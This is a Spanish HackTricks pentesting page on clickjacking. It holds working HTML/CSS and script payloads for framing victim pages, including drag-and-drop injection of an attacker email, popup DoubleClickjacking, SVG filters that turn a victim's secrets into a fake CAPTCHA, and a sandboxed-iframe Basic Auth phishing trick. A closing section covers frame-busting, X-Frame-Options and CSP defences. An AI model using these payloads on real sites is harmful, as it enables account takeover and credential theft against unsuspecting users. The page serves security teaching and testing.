Clickjacking
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Revisa el catálogo completo de HackTricks Training para las rutas de evaluación (ARTA/GRTA/AzRTA) y Linux Hacking Expert (LHE).
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord, al grupo de telegram, sigue @hacktricks_live en X/Twitter, o revisa la página de LinkedIn y el canal de YouTube.
- Comparte hacking tricks enviando PRs a los repositorios de github HackTricks y HackTricks Cloud.
¿Qué es Clickjacking
En un ataque de clickjacking, un usuario es engañado para hacer clic en un elemento de una página web que está invisible o disfrazado como otro elemento. Esta manipulación puede conllevar consecuencias no deseadas para el usuario, como la descarga de malware, la redirección a páginas web maliciosas, la entrega de credenciales o información sensible, transferencias de dinero o la compra en línea de productos.
Truco de prellenado de formularios
A veces es posible llenar el valor de los campos de un formulario usando parámetros GET al cargar una página. Un atacante puede abusar de este comportamiento para rellenar un formulario con datos arbitrarios y enviar el payload de clickjacking para que el usuario pulse el botón Submit.
Rellenar formulario con Drag&Drop
Si necesitas que el usuario rellene un formulario pero no quieres pedirle directamente que escriba información específica (como el email y/o la contraseña específica que conoces), puedes simplemente pedirle que Drag&Drop algo que escribirá tus datos controlados, como en this example.
Payload básico
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
Payload de múltiples pasos
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
Drag&Drop + Click payload
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
XSS + Clickjacking
Si has identificado un XSS que requiere que un usuario haga clic en algún elemento para activar el XSS y la página es vulnerable a clickjacking, podrías abusar de ello para engañar al usuario y que haga clic en el botón/enlace.
Example:
Encontraste un self XSS en algunos datos privados de la cuenta (datos que solo tú puedes establecer y leer). La página con el formulario para establecer estos datos es vulnerable a Clickjacking y puedes prepopulate el formulario con los parámetros GET.
Un atacante podría preparar un ataque de Clickjacking a esa página prepopulating el formulario con el XSS payload y engañando al usuario para que Submit el formulario. Así, cuando se envíe el formulario y los valores estén modificados, el usuario ejecutará el XSS.
DoubleClickjacking
Firstly explained in this post, esta técnica pediría a la víctima que haga doble clic en un botón de una página controlada colocada en una ubicación específica, y usaría las diferencias de timing entre los eventos mousedown y onclick para cargar la página víctima durante el doble clic de modo que la víctima realmente haga clic en un botón legítimo en la página víctima.
An example could be seen in this video: https://www.youtube.com/watch?v=4rGvRRMrD18
A code example can be found in this page.
Warning
Esta técnica permite engañar al usuario para que haga clic en un único lugar de la página víctima evadiendo todas las protecciones contra clickjacking. Por tanto, el atacante necesita encontrar acciones sensibles que se puedan realizar con un solo clic, como aceptar permisos en prompts OAuth.
Popup-based DoubleClickjacking (no iframes)
Some PoCs abandon iframes entirely and keep a background popup aligned under the cursor. La página atacante rastrea mousemove y usa un pequeño popup (window.open) que se mueve con moveTo() mientras es same-origin; una vez alineado, se redirige de vuelta al target origin para que el siguiente clic caiga en el botón real. Debido a que moveTo() cross‑origin está bloqueado, el popup es brevemente navegado a un origen atacante para reposicionamiento, luego location/history.back() retorna al target. Para exponer el target en el momento del clic, el atacante puede reabrir el popup con el mismo window name para traerlo al foreground sin cambiar la URL.
<script>
let w;
onclick = () => {
if (!w) w = window.open('/shim', 'pj', 'width=360,height=240');
onmousemove = e => { try { w.moveTo(e.screenX, e.screenY); } catch {} };
// When ready, refocus the already-loaded popup
window.open('', 'pj');
};
</script>
SVG Filters / Cross-Origin Iframe UI Redressing
Las versiones modernas de Chromium/WebKit/Gecko permiten que la propiedad CSS filter:url(#id) se aplique a iframes de origen cruzado. Los píxeles rasterizados del iframe se exponen al grafo del filtro SVG como SourceGraphic, por lo que primitivas como feDisplacementMap, feBlend, feComposite, feColorMatrix, feTile, feMorphology, etc. pueden deformar arbitrariamente la interfaz de la víctima antes de que el usuario la vea, aunque el atacante nunca toque el DOM. Un filtro sencillo de estilo Liquid-Glass se ve así:
<iframe src="https://victim.example" style="filter:url(#displacementFilter4)"></iframe>
- Primitivas útiles:
feImagecarga bitmaps del atacante (p. ej., overlays, displacement maps);feFloodconstruye mates de color constante;feOffset/feGaussianBlurrefinan los highlights;feDisplacementMaprefracta/deforma texto;feComposite operator="arithmetic"implementa matemáticas arbitrarias por canal (r = k1*i1*i2 + k2*i1 + k3*i2 + k4), lo cual es suficiente para aumentar contraste, enmascaramiento y operaciones AND/OR;feTilerecorta y replica pixel probes;feMorphologyexpande/contrae trazos;feColorMatrixmueve la luma al alpha para construir máscaras precisas.
Distorting secrets into CAPTCHA-style prompts
Si un framable endpoint renderiza secretos (tokens, reset codes, API keys), el atacante puede distorsionarlos para que se parezcan a un CAPTCHA y coaccionar la transcripción manual:
<svg width="0" height="0">
<filter id="captchaFilter">
<feTurbulence type="turbulence" baseFrequency="0.03" numOctaves="4" result="noise" />
<feDisplacementMap in="SourceGraphic" in2="noise" scale="6" xChannelSelector="R" yChannelSelector="G" />
</filter>
</svg>
<iframe src="https://victim" style="filter:url(#captchaFilter)"></iframe>
<input pattern="^6c79 ?7261 ?706f ?6e79$" required>
Los píxeles distorsionados engañan al usuario para que “resuelva” el captcha dentro del <input> controlado por el atacante cuyo pattern impone el verdadero secreto de la víctima.
Recontextualizando entradas de la víctima
Los filtros pueden eliminar quirúrgicamente el texto de placeholder/validación mientras mantienen las pulsaciones del usuario. Un flujo de trabajo:
feComposite operator="arithmetic" k2≈4amplifica el brillo de modo que el texto auxiliar gris se satura a blanco.feTilelimita el área de trabajo al rectángulo del input.feMorphology operator="erode"engruesa los glifos oscuros tecleados por la víctima y los almacena medianteresult="thick".feFloodcrea una placa blanca,feBlend mode="difference"conthick, y un segundofeComposite k2≈100lo convierte en una máscara luma de alto contraste.feColorMatrixmueve esa luma al alpha, yfeComposite in="SourceGraphic" operator="in"mantiene solo los glifos introducidos por el usuario.- Otro
feBlend in2="white"más un recorte fino dan un cuadro de texto limpio, tras lo cual el atacante superpone sus propias etiquetas HTML (p. ej., “Introduce tu correo electrónico”) mientras el iframe oculto sigue aplicando la política de contraseñas del origen de la víctima.
Safari tiene problemas con feTile; el mismo efecto puede reproducirse con máscaras espaciales construidas a partir de feFlood + feColorMatrix + feComposite para WebKit-only payloads.
Sondeos de píxeles, lógica y máquinas de estado
Al recortar una región de 2–4 px con feTile y teselarla al 100% del viewport, el atacante transforma el color muestreado en una textura de cuadro completo que puede umbralizarse en una máscara booleana:
<filter id="pixelProbe">
<feTile x="313" y="141" width="4" height="4" />
<feTile x="0" y="0" width="100%" height="100%" result="probe" />
<feComposite in="probe" operator="arithmetic" k2="120" k4="-1" />
<feColorMatrix type="matrix" values="0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0" result="mask" />
<feGaussianBlur in="SourceGraphic" stdDeviation="2" />
<feComposite operator="in" in2="mask" />
<feBlend in2="SourceGraphic" />
</filter>
Para colores arbitrarios, una referencia feFlood (p. ej., #0B57D0) más feBlend mode="difference" y otro composite aritmético (k2≈100, k4 como tolerancia) produce blanco solo cuando el píxel muestreado coincide con la tonalidad objetivo. Alimentar estas máscaras en feComposite con k1..k4 ajustados genera puertas lógicas: AND vía k1=1, OR vía k2=k3=1, XOR vía feBlend mode="difference", NOT mediante mezclado contra blanco. Encadenar puertas construye un sumador completo dentro del grafo de filtros, demostrando que la tubería es funcionalmente completa.
Por tanto, los atacantes pueden leer el estado de la UI sin JavaScript. Ejemplos de booleanos en un flujo modal:
- D (dialog visible): sondear una esquina oscurecida y comprobar contra blanco.
- L (dialog loaded): sondear las coordenadas donde aparece el botón cuando está listo.
- C (checkbox checked): comparar el píxel del checkbox contra el azul activo
#0B57D0. - R (red success/failure banner): usar
feMorphologyy umbrales rojos dentro del rectángulo del banner.
Cada estado detectado controla un bitmap de superposición diferente incrustado vía feImage xlink:href="data:...". Enmascarar esos bitmaps con D, L, C, R mantiene las superposiciones sincronizadas con el diálogo real y guía a la víctima a través de flujos de trabajo multi-paso (password resets, approvals, destructive confirmations) sin exponer nunca el DOM.
Sandboxed iframe Basic Auth dialog (no allow-popups)
Un iframe sandboxeado sin allow-popups aún puede mostrar un HTTP Basic Authentication modal controlado por el navegador cuando una carga devuelve 401 con WWW-Authenticate. El diálogo es generado por la capa de red/autenticación del navegador (no por los alert/prompt/confirm de JS), así que las restricciones de popups en el sandbox no lo suprimen. Si puedes scriptar el iframe (p. ej., sandbox="allow-scripts") puedes navegarlo a cualquier endpoint que emita un desafío de Basic Auth:
<iframe id="basic" sandbox="allow-scripts"></iframe>
<script>
basic.src = "https://httpbin.org/basic-auth/user/pass"
</script>
Una vez que llega la respuesta, el navegador solicita credenciales aunque los popups estén deshabilitados. Enmarcar un origen de confianza con este truco permite UI redress/phishing: diálogos modales inesperados dentro de un widget “sandboxed” pueden confundir a los usuarios o activar gestores de contraseñas para ofrecer credenciales almacenadas.
Extensiones de navegador: DOM-based autofill clickjacking
Además de iframing páginas de la víctima, los atacantes pueden apuntar a elementos de la UI de las extensiones del navegador que se inyectan en la página. Los gestores de contraseñas renderizan desplegables de autofill cerca de los inputs enfocados; al enfocar un campo controlado por el atacante y ocultar/ocluir el desplegable de la extensión (trucos de opacity/overlay/top-layer), un clic coaccionado del usuario puede seleccionar un elemento almacenado y rellenar datos sensibles en inputs controlados por el atacante. Esta variante no requiere exposición via iframe y funciona completamente mediante manipulación del DOM/CSS.
Un caso real: Dashlane divulgó un issue de passkey dialog clickjacking (agosto de 2025) donde XSS on the relying-party domain permitió a un atacante superponer HTML sobre el diálogo de passkey de la extensión. Un clic en el elemento del atacante procedía con el login legítimo de passkey (la passkey en sí no se expone), convirtiendo efectivamente un UI-redress en acceso a la cuenta si el RP ya es vulnerable a script injection.
- For concrete techniques and PoCs see: BrowExt - ClickJacking
Strategies to Mitigate Clickjacking
Defensas del lado del cliente
Los scripts ejecutados del lado del cliente pueden realizar acciones para prevenir Clickjacking:
- Ensuring the application window is the main or top window.
- Making all frames visible.
- Preventing clicks on invisible frames.
- Detecting and alerting users to potential Clickjacking attempts.
Sin embargo, estos scripts para bustear frames pueden ser eludidos:
- Configuraciones de seguridad del navegador: Algunos navegadores pueden bloquear estos scripts en función de sus configuraciones de seguridad o por falta de soporte de JavaScript.
- HTML5 iframe
sandboxAttribute: An attacker can neutralize frame buster scripts by setting thesandboxattribute withallow-formsorallow-scriptsvalues withoutallow-top-navigation. This prevents the iframe from verifying if it is the top window, e.g.,
<iframe
id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>
Los valores allow-forms y allow-scripts permiten acciones dentro del iframe mientras deshabilitan la navegación a nivel superior. Para asegurar la funcionalidad prevista del sitio objetivo, pueden ser necesarios permisos adicionales como allow-same-origin y allow-modals, dependiendo del tipo de ataque. Los mensajes en la consola del navegador pueden indicar qué permisos permitir.
Defensas del lado del servidor
X-Frame-Options
El encabezado de respuesta HTTP X-Frame-Options informa a los navegadores sobre la legitimidad de renderizar una página en un <frame> o <iframe>, ayudando a prevenir Clickjacking:
X-Frame-Options: deny- Ningún dominio puede enmarcar el contenido.X-Frame-Options: sameorigin- Solo el sitio actual puede enmarcar el contenido.X-Frame-Options: allow-from https://trusted.com- Solo la ‘uri’ especificada puede enmarcar la página.- Tenga en cuenta las limitaciones: si el navegador no soporta esta directiva, podría no funcionar. Algunos navegadores prefieren la directiva frame-ancestors de CSP.
Content Security Policy (CSP) frame-ancestors directive
La directiva frame-ancestors en CSP es el método recomendado para la protección contra Clickjacking:
frame-ancestors 'none'- Similar aX-Frame-Options: deny.frame-ancestors 'self'- Similar aX-Frame-Options: sameorigin.frame-ancestors trusted.com- Similar aX-Frame-Options: allow-from.
Por ejemplo, la siguiente CSP solo permite el framing desde el mismo dominio:
Content-Security-Policy: frame-ancestors 'self';
Más detalles y ejemplos complejos pueden encontrarse en la frame-ancestors CSP documentation y en la Mozilla’s CSP frame-ancestors documentation.
Content Security Policy (CSP) con child-src y frame-src
Content Security Policy (CSP) es una medida de seguridad que ayuda a prevenir Clickjacking y otros ataques de inyección de código al especificar qué fuentes debe permitir el navegador para cargar contenido.
Directiva frame-src
- Define las fuentes válidas para frames.
- Más específica que la directiva
default-src.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
Esta política permite frames del mismo origen (self) y https://trusted-website.com.
child-src Directiva
- Introducida en CSP nivel 2 para establecer fuentes válidas para web workers y frames.
- Actúa como fallback para frame-src y worker-src.
Content-Security-Policy: child-src 'self' https://trusted-website.com;
Esta política permite frames y workers del mismo origen (self) y https://trusted-website.com.
Notas de uso:
- Deprecación: child-src está siendo eliminado progresivamente en favor de frame-src y worker-src.
- Comportamiento de fallback: Si frame-src está ausente, child-src se usa como fallback para frames. Si ambos están ausentes, se usa default-src.
- Definición estricta de fuentes: Incluye solo fuentes de confianza en las directivas para prevenir la explotación.
JavaScript Frame-Breaking Scripts
Aunque no son completamente infalibles, los JavaScript-based frame-busting scripts pueden utilizarse para evitar que una página web sea enmarcada. Ejemplo:
if (top !== self) {
top.location = self.location
}
Uso de Anti-CSRF Tokens
- Token Validation: Usar anti-CSRF tokens en aplicaciones web para asegurar que las solicitudes que cambian el estado sean realizadas intencionalmente por el usuario y no a través de una página Clickjacked.
Referencias
- https://portswigger.net/web-security/clickjacking
- https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html
- DOM-based Extension Clickjacking (marektoth.com)
- SVG Filters - Clickjacking 2.0
- Iframe sandbox Basic Auth modal
- Chromestatus: Restrict sandboxed frame dialogs
- Chromium issue about sandboxed auth dialogs
- DoubleClickjacking PoC details (evil.blog)
- Dashlane passkey dialog clickjacking advisory
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Revisa el catálogo completo de HackTricks Training para las rutas de evaluación (ARTA/GRTA/AzRTA) y Linux Hacking Expert (LHE).
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord, al grupo de telegram, sigue @hacktricks_live en X/Twitter, o revisa la página de LinkedIn y el canal de YouTube.
- Comparte hacking tricks enviando PRs a los repositorios de github HackTricks y HackTricks Cloud.


